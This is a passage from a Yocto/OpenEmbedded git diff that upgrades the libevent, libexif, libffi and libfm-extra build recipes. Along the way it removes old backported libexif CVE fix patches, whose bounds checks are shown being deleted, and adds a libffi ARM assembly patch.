+-int testcase_run_one(const struct testgroup_t *,const struct testcase_t *);
++int testcase_run_one(const struct testgroup_t *,const struct testcase_t *, const int test_attempts);
+
+ void tinytest_set_aliases(const struct testlist_alias_t *aliases);
+
+--
+2.31.1
+
diff --git a/meta/recipes-support/libevent/libevent/run-ptest b/meta/recipes-support/libevent/libevent/run-ptest
index d3b5e793c3..ef4260d1c4 100644
--- a/meta/recipes-support/libevent/libevent/run-ptest
+++ b/meta/recipes-support/libevent/libevent/run-ptest
@@ -1,14 +1,14 @@
#!/bin/sh
# run-ptest - 'ptest' test infrastructure shell script that
-# wraps the libevent test scripts
+# wraps the libevent test scripts
#
# Trevor Gamblin <trevor.gamblin@windriver.com>
###############################################################
LIBEVENTLIB=@libdir@/libevent
LOG="${LIBEVENTLIB}/ptest/libevent_ptest_$(date +%Y%m%d-%H%M%S).log"
-cd ${LIBEVENTLIB}/ptest
+cd ${LIBEVENTLIB}/ptest
# Run only the libevent "regress" test. All other test scripts in the
# libevent "test" folder are related to performance, e.g. read/write
@@ -16,9 +16,9 @@ cd ${LIBEVENTLIB}/ptest
# in the ptest log.
./test/regress 2>&1| sed -e '/TESTS/d' -e '/tests/d' -e '/OK/ s/^/PASS: / ; /FAILED/ s/^/FAIL: / ; /SKIPPED/ s/^/SKIP: / ; /DISABLED/ s/^/SKIP: /' | cut -f1,2 -d ':' | tee -a ${LOG}
-passed=`grep PASS ${LOG}|wc -l`
-failed=`grep FAIL ${LOG}|wc -l`
-skipped=`grep -E SKIP ${LOG}|wc -l`
+passed=`grep PASS: ${LOG}|wc -l`
+failed=`grep FAIL: ${LOG}|wc -l`
+skipped=`grep -E SKIP: ${LOG}|wc -l`
all=$((passed + failed + skipped))
( echo "=== Test Summary ==="
diff --git a/meta/recipes-support/libevent/libevent_2.1.11.bb b/meta/recipes-support/libevent/libevent_2.1.11.bb
deleted file mode 100644
index f005ab8bda..0000000000
--- a/meta/recipes-support/libevent/libevent_2.1.11.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "An asynchronous event notification library"
-HOMEPAGE = "http://libevent.org/"
-BUGTRACKER = "https://github.com/libevent/libevent/issues"
-SECTION = "libs"
-
-LICENSE = "BSD & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=17f20574c0b154d12236d5fbe964f549"
-
-SRC_URI = " \
- https://github.com/libevent/libevent/releases/download/release-${PV}-stable/${BP}-stable.tar.gz \
- file://Makefile-missing-test-dir.patch \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "7f35cfe69b82d879111ec0d7b7b1c531"
-SRC_URI[sha256sum] = "a65bac6202ea8c5609fd5c7e480e6d25de467ea1917c08290c521752f147283d"
-
-UPSTREAM_CHECK_URI = "http://libevent.org/"
-
-S = "${WORKDIR}/${BPN}-${PV}-stable"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-
-inherit autotools
-
-# Needed for Debian packaging
-LEAD_SONAME = "libevent-2.1.so"
-
-inherit ptest multilib_header
-
-DEPENDS = "zlib"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append() {
- oe_multilib_header event2/event-config.h
-}
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/test
- for file in ${B}/test/.libs/regress ${B}/test/.libs/test*
- do
- install -m 0755 $file ${D}${PTEST_PATH}/test
- done
-
- # handle multilib
- sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
-}
diff --git a/meta/recipes-support/libevent/libevent_2.1.12.bb b/meta/recipes-support/libevent/libevent_2.1.12.bb
new file mode 100644
index 0000000000..e26e8a9b57
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent_2.1.12.bb
@@ -0,0 +1,64 @@
+SUMMARY = "An asynchronous event notification library"
+DESCRIPTION = "A software library that provides asynchronous event \
+notification. The libevent API provides a mechanism to execute a callback \
+function when a specific event occurs on a file descriptor or after a \
+timeout has been reached. libevent also supports callbacks triggered \
+by signals and regular timeouts"
+HOMEPAGE = "http://libevent.org/"
+BUGTRACKER = "https://github.com/libevent/libevent/issues"
+SECTION = "libs"
+
+LICENSE = "BSD-3-Clause & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=17f20574c0b154d12236d5fbe964f549"
+
+SRC_URI = "https://github.com/libevent/libevent/releases/download/release-${PV}-stable/${BP}-stable.tar.gz \
+ file://Makefile-missing-test-dir.patch \
+ file://run-ptest \
+ file://0001-test-regress_dns.c-patch-out-tests-that-require-a-wo.patch \
+ file://0002-test-regress.h-Increase-default-timeval-tolerance-50.patch \
+ file://0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch \
+ file://0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch \
+ "
+
+SRC_URI[sha256sum] = "92e6de1be9ec176428fd2367677e61ceffc2ee1cb119035037a27d346b0403bb"
+
+UPSTREAM_CHECK_URI = "http://libevent.org/"
+
+S = "${WORKDIR}/${BPN}-${PV}-stable"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+
+inherit autotools
+
+# Needed for Debian packaging
+LEAD_SONAME = "libevent-2.1.so"
+
+inherit ptest multilib_header
+
+DEPENDS = "zlib"
+
+PACKAGES_DYNAMIC = "^${PN}-.*$"
+python split_libevent_libs () {
+ do_split_packages(d, '${libdir}', r'^libevent_([a-z]*)-.*\.so\..*', '${PN}-%s', '${SUMMARY} (%s)', prepend=True, allow_links=True)
+}
+PACKAGESPLITFUNCS:prepend = "split_libevent_libs "
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append() {
+ rm ${D}${bindir}/event_rpcgen.py
+ rmdir ${D}${bindir}
+ oe_multilib_header event2/event-config.h
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/test
+ for file in ${B}/test/.libs/regress ${B}/test/.libs/test*
+ do
+ install -m 0755 $file ${D}${PTEST_PATH}/test
+ done
+
+ # handle multilib
+ sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
+}
diff --git a/meta/recipes-support/libexif/libexif/CVE-2016-6328.patch b/meta/recipes-support/libexif/libexif/CVE-2016-6328.patch
deleted file mode 100644
index a6f307439b..0000000000
--- a/meta/recipes-support/libexif/libexif/CVE-2016-6328.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-CVE: CVE-2016-6328
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 41bd04234b104312f54d25822f68738ba8d7133d Mon Sep 17 00:00:00 2001
-From: Marcus Meissner <marcus@jet.franken.de>
-Date: Tue, 25 Jul 2017 23:44:44 +0200
-Subject: [PATCH] fixes some (not all) buffer overreads during decoding pentax
- makernote entries.
-
-This should fix:
-https://sourceforge.net/p/libexif/bugs/125/ CVE-2016-6328
----
- libexif/pentax/mnote-pentax-entry.c | 16 +++++++++++++---
- 1 file changed, 13 insertions(+), 3 deletions(-)
-
-diff --git a/libexif/pentax/mnote-pentax-entry.c b/libexif/pentax/mnote-pentax-entry.c
-index d03d159..ea0429a 100644
---- a/libexif/pentax/mnote-pentax-entry.c
-+++ b/libexif/pentax/mnote-pentax-entry.c
-@@ -425,24 +425,34 @@ mnote_pentax_entry_get_value (MnotePentaxEntry *entry,
- case EXIF_FORMAT_SHORT:
- {
- const unsigned char *data = entry->data;
-- size_t k, len = strlen(val);
-+ size_t k, len = strlen(val), sizeleft;
-+
-+ sizeleft = entry->size;
- for(k=0; k<entry->components; k++) {
-+ if (sizeleft < 2)
-+ break;
- vs = exif_get_short (data, entry->order);
- snprintf (val+len, maxlen-len, "%i ", vs);
- len = strlen(val);
- data += 2;
-+ sizeleft -= 2;
- }
- }
- break;
- case EXIF_FORMAT_LONG:
- {
- const unsigned char *data = entry->data;
-- size_t k, len = strlen(val);
-+ size_t k, len = strlen(val), sizeleft;
-+
-+ sizeleft = entry->size;
- for(k=0; k<entry->components; k++) {
-+ if (sizeleft < 4)
-+ break;
- vl = exif_get_long (data, entry->order);
- snprintf (val+len, maxlen-len, "%li", (long int) vl);
- len = strlen(val);
- data += 4;
-+ sizeleft -= 4;
- }
- }
- break;
-@@ -455,5 +465,5 @@ mnote_pentax_entry_get_value (MnotePentaxEntry *entry,
- break;
- }
-
-- return (val);
-+ return val;
- }
diff --git a/meta/recipes-support/libexif/libexif/CVE-2017-7544.patch b/meta/recipes-support/libexif/libexif/CVE-2017-7544.patch
deleted file mode 100644
index e49481ff84..0000000000
--- a/meta/recipes-support/libexif/libexif/CVE-2017-7544.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 8a92f964a66d476ca8907234359e92a70fc1325b Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Tue, 28 Aug 2018 15:12:10 +0800
-Subject: [PATCH] On saving makernotes, make sure the makernote container tags
- has a type with 1 byte components.
-
-Fixes (at least):
- https://sourceforge.net/p/libexif/bugs/130
- https://sourceforge.net/p/libexif/bugs/129
-
-Upstream-Status: Backport[https://github.com/libexif/libexif/commit/
-c39acd1692023b26290778a02a9232c873f9d71a#diff-830e348923810f00726700b083ec00cd]
-
-CVE: CVE-2017-7544
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- libexif/exif-data.c | 6 ++++++
- 1 file changed, 6 insertions(+)
-
-diff --git a/libexif/exif-data.c b/libexif/exif-data.c
-index 67df4db..6bf89eb 100644
---- a/libexif/exif-data.c
-+++ b/libexif/exif-data.c
-@@ -255,6 +255,12 @@ exif_data_save_data_entry (ExifData *data, ExifEntry *e,
- exif_mnote_data_set_offset (data->priv->md, *ds - 6);
- exif_mnote_data_save (data->priv->md, &e->data, &e->size);
- e->components = e->size;
-+ if (exif_format_get_size (e->format) != 1) {
-+ /* e->format is taken from input code,
-+ * but we need to make sure it is a 1 byte
-+ * entity due to the multiplication below. */
-+ e->format = EXIF_FORMAT_UNDEFINED;
-+ }
- }
- }
-
---
-2.7.4
-
diff --git a/meta/recipes-support/libexif/libexif/CVE-2018-20030.patch b/meta/recipes-support/libexif/libexif/CVE-2018-20030.patch
deleted file mode 100644
index 76233e6dc9..0000000000
--- a/meta/recipes-support/libexif/libexif/CVE-2018-20030.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-CVE: CVE-2018-20030
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 6aa11df549114ebda520dde4cdaea2f9357b2c89 Mon Sep 17 00:00:00 2001
-From: Dan Fandrich <dan@coneharvesters.com>
-Date: Fri, 12 Oct 2018 16:01:45 +0200
-Subject: [PATCH] Improve deep recursion detection in
- exif_data_load_data_content.
-
-The existing detection was still vulnerable to pathological cases
-causing DoS by wasting CPU. The new algorithm takes the number of tags
-into account to make it harder to abuse by cases using shallow recursion
-but with a very large number of tags. This improves on commit 5d28011c
-which wasn't sufficient to counter this kind of case.
-
-The limitation in the previous fix was discovered by Laurent Delosieres,
-Secunia Research at Flexera (Secunia Advisory SA84652) and is assigned
-the identifier CVE-2018-20030.
-
-diff --git a/libexif/exif-data.c b/libexif/exif-data.c
-index 67df4db..8d9897e 100644
---- a/libexif/exif-data.c
-+++ b/libexif/exif-data.c
-@@ -35,6 +35,7 @@
- #include <libexif/olympus/exif-mnote-data-olympus.h>
- #include <libexif/pentax/exif-mnote-data-pentax.h>
-
-+#include <math.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
-@@ -344,6 +345,20 @@ if (data->ifd[(i)]->count) { \
- break; \
- }
-
-+/*! Calculate the recursion cost added by one level of IFD loading.
-+ *
-+ * The work performed is related to the cost in the exponential relation
-+ * work=1.1**cost
-+ */
-+static unsigned int
-+level_cost(unsigned int n)
-+{
-+ static const double log_1_1 = 0.09531017980432493;
-+
-+ /* Adding 0.1 protects against the case where n==1 */
-+ return ceil(log(n + 0.1)/log_1_1);
-+}
-+
- /*! Load data for an IFD.
- *
- * \param[in,out] data #ExifData
-@@ -351,13 +366,13 @@ if (data->ifd[(i)]->count) { \
- * \param[in] d pointer to buffer containing raw IFD data
- * \param[in] ds size of raw data in buffer at \c d
- * \param[in] offset offset into buffer at \c d at which IFD starts
-- * \param[in] recursion_depth number of times this function has been
-- * recursively called without returning
-+ * \param[in] recursion_cost factor indicating how expensive this recursive
-+ * call could be
- */
- static void
- exif_data_load_data_content (ExifData *data, ExifIfd ifd,
- const unsigned char *d,
-- unsigned int ds, unsigned int offset, unsigned int recursion_depth)
-+ unsigned int ds, unsigned int offset, unsigned int recursion_cost)
- {
- ExifLong o, thumbnail_offset = 0, thumbnail_length = 0;
- ExifShort n;
-@@ -372,9 +387,20 @@ exif_data_load_data_content (ExifData *data, ExifIfd ifd,
- if ((((int)ifd) < 0) || ( ((int)ifd) >= EXIF_IFD_COUNT))
- return;
-
-- if (recursion_depth > 30) {
-+ if (recursion_cost > 170) {
-+ /*
-+ * recursion_cost is a logarithmic-scale indicator of how expensive this
-+ * recursive call might end up being. It is an indicator of the depth of
-+ * recursion as well as the potential for worst-case future recursive
-+ * calls. Since it's difficult to tell ahead of time how often recursion
-+ * will occur, this assumes the worst by assuming every tag could end up
-+ * causing recursion.
-+ * The value of 170 was chosen to limit typical EXIF structures to a
-+ * recursive depth of about 6, but pathological ones (those with very
-+ * many tags) to only 2.
-+ */
- exif_log (data->priv->log, EXIF_LOG_CODE_CORRUPT_DATA, "ExifData",
-- "Deep recursion detected!");
-+ "Deep/expensive recursion detected!");
- return;
- }
-
-@@ -416,15 +442,18 @@ exif_data_load_data_content (ExifData *data, ExifIfd ifd,
- switch (tag) {
- case EXIF_TAG_EXIF_IFD_POINTER:
- CHECK_REC (EXIF_IFD_EXIF);
-- exif_data_load_data_content (data, EXIF_IFD_EXIF, d, ds, o, recursion_depth + 1);
-+ exif_data_load_data_content (data, EXIF_IFD_EXIF, d, ds, o,
-+ recursion_cost + level_cost(n));
- break;
- case EXIF_TAG_GPS_INFO_IFD_POINTER:
- CHECK_REC (EXIF_IFD_GPS);
-- exif_data_load_data_content (data, EXIF_IFD_GPS, d, ds, o, recursion_depth + 1);
-+ exif_data_load_data_content (data, EXIF_IFD_GPS, d, ds, o,
-+ recursion_cost + level_cost(n));
- break;
- case EXIF_TAG_INTEROPERABILITY_IFD_POINTER:
- CHECK_REC (EXIF_IFD_INTEROPERABILITY);
-- exif_data_load_data_content (data, EXIF_IFD_INTEROPERABILITY, d, ds, o, recursion_depth + 1);
-+ exif_data_load_data_content (data, EXIF_IFD_INTEROPERABILITY, d, ds, o,
-+ recursion_cost + level_cost(n));
- break;
- case EXIF_TAG_JPEG_INTERCHANGE_FORMAT:
- thumbnail_offset = o;
diff --git a/meta/recipes-support/libexif/libexif_0.6.21.bb b/meta/recipes-support/libexif/libexif_0.6.21.bb
deleted file mode 100644
index d847beab18..0000000000
--- a/meta/recipes-support/libexif/libexif_0.6.21.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Library for reading extended image information (EXIF) from JPEG files"
-HOMEPAGE = "http://sourceforge.net/projects/libexif"
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=243b725d71bb5df4a1e5920b344b86ad"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/libexif/libexif-${PV}.tar.bz2 \
- file://CVE-2017-7544.patch \
- file://CVE-2016-6328.patch \
- file://CVE-2018-20030.patch"
-
-SRC_URI[md5sum] = "27339b89850f28c8f1c237f233e05b27"
-SRC_URI[sha256sum] = "16cdaeb62eb3e6dfab2435f7d7bccd2f37438d21c5218ec4e58efa9157d4d41a"
-
-inherit autotools gettext
-
-EXTRA_OECONF += "--disable-docs"
diff --git a/meta/recipes-support/libexif/libexif_0.6.24.bb b/meta/recipes-support/libexif/libexif_0.6.24.bb
new file mode 100644
index 0000000000..20ba0ef282
--- /dev/null
+++ b/meta/recipes-support/libexif/libexif_0.6.24.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Library for reading extended image information (EXIF) from JPEG files"
+DESCRIPTION = "libexif is a library for parsing, editing, and saving EXIF data. It is \
+intended to replace lots of redundant implementations in command-line \
+utilities and programs with GUIs."
+HOMEPAGE = "https://libexif.github.io/"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=243b725d71bb5df4a1e5920b344b86ad"
+
+def version_underscore(v):
+ return "_".join(v.split("."))
+
+SRC_URI = "https://github.com/libexif/libexif/releases/download/v${PV}/libexif-${PV}.tar.bz2 \
+ "
+
+SRC_URI[sha256sum] = "d47564c433b733d83b6704c70477e0a4067811d184ec565258ac563d8223f6ae"
+
+UPSTREAM_CHECK_URI = "https://github.com/libexif/libexif/releases/"
+
+inherit autotools gettext
+
+EXTRA_OECONF += "--disable-docs"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch b/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch
deleted file mode 100644
index 00a30a3554..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 4149a7627a998731cc246d3f58a36808745d04c8 Mon Sep 17 00:00:00 2001
-From: Carl Hurd <carl@Carls-MacBook-Pro.local>
-Date: Wed, 18 Jul 2018 09:04:32 -0400
-Subject: [PATCH] Fixed missed #ifndef for __mips_soft_float
-
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
----
-Upstream-Status: Submitted [https://github.com/libffi/libffi/pull/442]
-
- src/mips/o32.S | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/mips/o32.S b/src/mips/o32.S
-index 44e74cb..799139b 100644
---- a/src/mips/o32.S
-+++ b/src/mips/o32.S
-@@ -282,9 +282,11 @@ $LCFI12:
- li $13, 1 # FFI_O32
- bne $16, $13, 1f # Skip fp save if FFI_O32_SOFT_FLOAT
-
-+#ifndef __mips_soft_float
- # Store all possible float/double registers.
- s.d $f12, FA_0_0_OFF2($fp)
- s.d $f14, FA_1_0_OFF2($fp)
-+#endif
- 1:
- # prepare arguments for ffi_closure_mips_inner_O32
- REG_L a0, 4($15) # cif
---
-2.21.0
-
diff --git a/meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch b/meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch
new file mode 100644
index 0000000000..5e529d1ce7
--- /dev/null
+++ b/meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch
@@ -0,0 +1,104 @@
+From 501a6b55853af549fae72723e74271f2a4ec7cf6 Mon Sep 17 00:00:00 2001
+From: Brett Warren <brett.warren@arm.com>
+Date: Fri, 27 Nov 2020 15:28:42 +0000
+Subject: [PATCH] arm/sysv: reverted clang VFP mitigation
+
+Since commit e3d2812ce43940aacae5bab2d0e965278cb1e7ea,
+seperate instructions were used when compiling under clang,
+as clang didn't allow the directives at the time. This mitigation
+now causes compilation to fail under clang 10, as described by
+https://github.com/libffi/libffi/issues/607. Now that
+clang supports the LDC and SDC instructions, this mitigation
+has been reverted.
+
+Upstream-Status: Pending
+Signed-off-by: Brett Warren <brett.warren@arm.com>
+---
+ src/arm/sysv.S | 33 ---------------------------------
+ 1 file changed, 33 deletions(-)
+
+diff --git a/src/arm/sysv.S b/src/arm/sysv.S
+index fb36213..e4272a1 100644
+--- a/src/arm/sysv.S
++++ b/src/arm/sysv.S
+@@ -142,13 +142,8 @@ ARM_FUNC_START(ffi_call_VFP)
+
+ cmp r3, #3 @ load only d0 if possible
+ ite le
+-#ifdef __clang__
+- vldrle d0, [r0]
+- vldmgt r0, {d0-d7}
+-#else
+ ldcle p11, cr0, [r0] @ vldrle d0, [r0]
+ ldcgt p11, cr0, [r0], {16} @ vldmgt r0, {d0-d7}
+-#endif
+ add r0, r0, #64 @ discard the vfp register args
+ /* FALLTHRU */
+ ARM_FUNC_END(ffi_call_VFP)
+@@ -193,25 +188,13 @@ ARM_FUNC_START(ffi_call_SYSV)
+ #endif
+ 0:
+ E(ARM_TYPE_VFP_S)
+-#ifdef __clang__
+- vstr s0, [r2]
+-#else
+ stc p10, cr0, [r2] @ vstr s0, [r2]
+-#endif
+ pop {fp,pc}
+ E(ARM_TYPE_VFP_D)
+-#ifdef __clang__
+- vstr d0, [r2]
+-#else
+ stc p11, cr0, [r2] @ vstr d0, [r2]
+-#endif
+ pop {fp,pc}
+ E(ARM_TYPE_VFP_N)
+-#ifdef __clang__
+- vstm r2, {d0-d3}
+-#else
+ stc p11, cr0, [r2], {8} @ vstm r2, {d0-d3}
+-#endif
+ pop {fp,pc}
+ E(ARM_TYPE_INT64)
+ str r1, [r2, #4]
+@@ -320,11 +303,7 @@ ARM_FUNC_START(ffi_closure_VFP)
+ add ip, sp, #16
+ sub sp, sp, #64+32 @ allocate frame
+ cfi_adjust_cfa_offset(64+32)
+-#ifdef __clang__
+- vstm sp, {d0-d7}
+-#else
+ stc p11, cr0, [sp], {16} @ vstm sp, {d0-d7}
+-#endif
+ stmdb sp!, {ip,lr}
+
+ /* See above. */
+@@ -358,25 +337,13 @@ ARM_FUNC_START_LOCAL(ffi_closure_ret)
+ cfi_rel_offset(lr, 4)
+ 0:
+ E(ARM_TYPE_VFP_S)
+-#ifdef __clang__
+- vldr s0, [r2]
+-#else
+ ldc p10, cr0, [r2] @ vldr s0, [r2]
+-#endif
+ b call_epilogue
+ E(ARM_TYPE_VFP_D)
+-#ifdef __clang__
+- vldr d0, [r2]
+-#else
+ ldc p11, cr0, [r2] @ vldr d0, [r2]
+-#endif
+ b call_epilogue
+ E(ARM_TYPE_VFP_N)
+-#ifdef __clang__
+- vldm r2, {d0-d3}
+-#else
+ ldc p11, cr0, [r2], {8} @ vldm r2, {d0-d3}
+-#endif
+ b call_epilogue
+ E(ARM_TYPE_INT64)
+ ldr r1, [r2, #4]
+--
+2.25.1
+
diff --git a/meta/recipes-support/libffi/libffi/not-win32.patch b/meta/recipes-support/libffi/libffi/not-win32.patch
index 86a7fc9e40..62daaf4b38 100644
--- a/meta/recipes-support/libffi/libffi/not-win32.patch
+++ b/meta/recipes-support/libffi/libffi/not-win32.patch
@@ -1,3 +1,8 @@
+From 306719369a0d3608b4ff2737de74ae284788a14b Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 4 Feb 2016 16:22:50 +0000
+Subject: [PATCH] libffi: ensure sysroot paths are not in libffi.pc
+
libffi's configure assumes that cross-compiled builds are complicated and
introduces convoluted path manipulation involving gcc search paths to the
install paths, resulting in paths like -L/usr/lib/../lib/ appearing in
@@ -11,9 +16,15 @@ As this block is generally pointless, disable it.
Upstream-Status: Inappropriate
Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index b764368..d51ce91 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -350,7 +350,7 @@ AC_ARG_ENABLE(multi-os-directory,
+@@ -354,7 +354,7 @@ AC_ARG_ENABLE(multi-os-directory,
# These variables are only ever used when we cross-build to X86_WIN32.
# And we only support this with GCC, so...
@@ -21,4 +32,4 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
+if false; then
if test -n "$with_cross_host" &&
test x"$with_cross_host" != x"no"; then
- toolexecdir="${exec_prefix}"/'$(target_alias)'
+ toolexecdir='${exec_prefix}'/'$(target_alias)'
diff --git a/meta/recipes-support/libffi/libffi_3.3~rc0.bb b/meta/recipes-support/libffi/libffi_3.3~rc0.bb
deleted file mode 100644
index 8acb699d4a..0000000000
--- a/meta/recipes-support/libffi/libffi_3.3~rc0.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "A portable foreign function interface library"
-HOMEPAGE = "http://sourceware.org/libffi/"
-DESCRIPTION = "The `libffi' library provides a portable, high level programming interface to various calling \
-conventions. This allows a programmer to call any function specified by a call interface description at run \
-time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the \
-interface that allows code written in one language to call code written in another language. The `libffi' \
-library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. \
-A layer must exist above `libffi' that handles type conversions for values passed between the two languages."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=3610bb17683a0089ed64055416b2ae1b"
-
-SRC_URI = "https://github.com/libffi/libffi/releases/download/v3.3-rc0/libffi-3.3-rc0.tar.gz \
- file://not-win32.patch \
- file://0001-Fixed-missed-ifndef-for-__mips_soft_float.patch \
- "
-SRC_URI[md5sum] = "8d2a82a78faf10a5e53c27d986e8f04e"
-SRC_URI[sha256sum] = "403d67aabf1c05157855ea2b1d9950263fb6316536c8c333f5b9ab1eb2f20ecf"
-UPSTREAM_CHECK_URI = "https://github.com/libffi/libffi/releases/"
-UPSTREAM_CHECK_REGEX = "libffi-(?P<pver>\d+(\.\d+)+)\.tar"
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-EXTRA_OECONF += "--disable-builddir"
-EXTRA_OEMAKE_class-target = "LIBTOOLFLAGS='--tag=CC'"
-inherit autotools texinfo multilib_header
-
-S = "${WORKDIR}/${BPN}-3.3-rc0"
-
-do_install_append() {
- oe_multilib_header ffi.h
-}
-
-FILES_${PN}-dev += "${libdir}/libffi-${PV}"
-
-# Doesn't compile in MIPS16e mode due to use of hand-written
-# assembly
-MIPS_INSTRUCTION_SET = "mips"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-support/libffi/libffi_3.4.2.bb b/meta/recipes-support/libffi/libffi_3.4.2.bb
new file mode 100644
index 0000000000..733fcc5e6c
--- /dev/null
+++ b/meta/recipes-support/libffi/libffi_3.4.2.bb
@@ -0,0 +1,36 @@
+SUMMARY = "A portable foreign function interface library"
+HOMEPAGE = "http://sourceware.org/libffi/"
+DESCRIPTION = "The `libffi' library provides a portable, high level programming interface to various calling \
+conventions. This allows a programmer to call any function specified by a call interface description at run \
+time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the \
+interface that allows code written in one language to call code written in another language. The `libffi' \
+library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. \
+A layer must exist above `libffi' that handles type conversions for values passed between the two languages."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=679b5c9bdc79a2b93ee574e193e7a7bc"
+
+SRC_URI = "https://github.com/libffi/libffi/releases/download/v${PV}/${BPN}-${PV}.tar.gz \
+ file://not-win32.patch \
+ file://0001-arm-sysv-reverted-clang-VFP-mitigation.patch \
+ "
+SRC_URI[sha256sum] = "540fb721619a6aba3bdeef7d940d8e9e0e6d2c193595bc243241b77ff9e93620"
+UPSTREAM_CHECK_URI = "https://github.com/libffi/libffi/releases/"
+UPSTREAM_CHECK_REGEX = "libffi-(?P<pver>\d+(\.\d+)+)\.tar"
+
+EXTRA_OECONF += "--disable-builddir --disable-exec-static-tramp"
+EXTRA_OEMAKE:class-target = "LIBTOOLFLAGS='--tag=CC'"
+inherit autotools texinfo multilib_header
+
+do_install:append() {
+ oe_multilib_header ffi.h ffitarget.h
+}
+
+FILES:${PN}-dev += "${libdir}/libffi-${PV}"
+
+# Doesn't compile in MIPS16e mode due to use of hand-written
+# assembly
+MIPS_INSTRUCTION_SET = "mips"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-support/libfm/libfm-extra_1.3.1.bb b/meta/recipes-support/libfm/libfm-extra_1.3.1.bb
deleted file mode 100644
index 85102a1a3d..0000000000
--- a/meta/recipes-support/libfm/libfm-extra_1.3.1.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Library for file management"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "file://src/fm-extra.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007"
-
-SECTION = "x11/libs"
-DEPENDS = "glib-2.0-native glib-2.0 intltool-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
- file://0001-nls.m4-Take-it-from-gettext-0.15.patch \
- "
-
-SRC_URI[md5sum] = "c15ecd2c9317e2c385cd3f046d0b61ba"
-SRC_URI[sha256sum] = "96b1244bde41ca0eef0332cfb5c67bb16725dfd102128f3e6f74fadc13a1cfe4"
-
-S = "${WORKDIR}/libfm-${PV}"
-
-EXTRA_OECONF = "--with-extra-only --with-gtk=no"
-
-inherit autotools pkgconfig gtk-doc gettext
-
-do_configure[dirs] =+ "${S}/m4"
diff --git a/meta/recipes-support/libfm/libfm-extra_1.3.2.bb b/meta/recipes-support/libfm/libfm-extra_1.3.2.bb
new file mode 100644
index 0000000000..79dd1d92dc
--- /dev/null
+++ b/meta/recipes-support/libfm/libfm-extra_1.3.2.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Library for file management"
+DESCRIPTION = "Contains a library and other files required by menu-cache-gen libexec of menu-cache-1.1.0. "
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://src/fm-extra.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007"
+
+SECTION = "x11/libs"
+DEPENDS = "glib-2.0-native glib-2.0 intltool-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
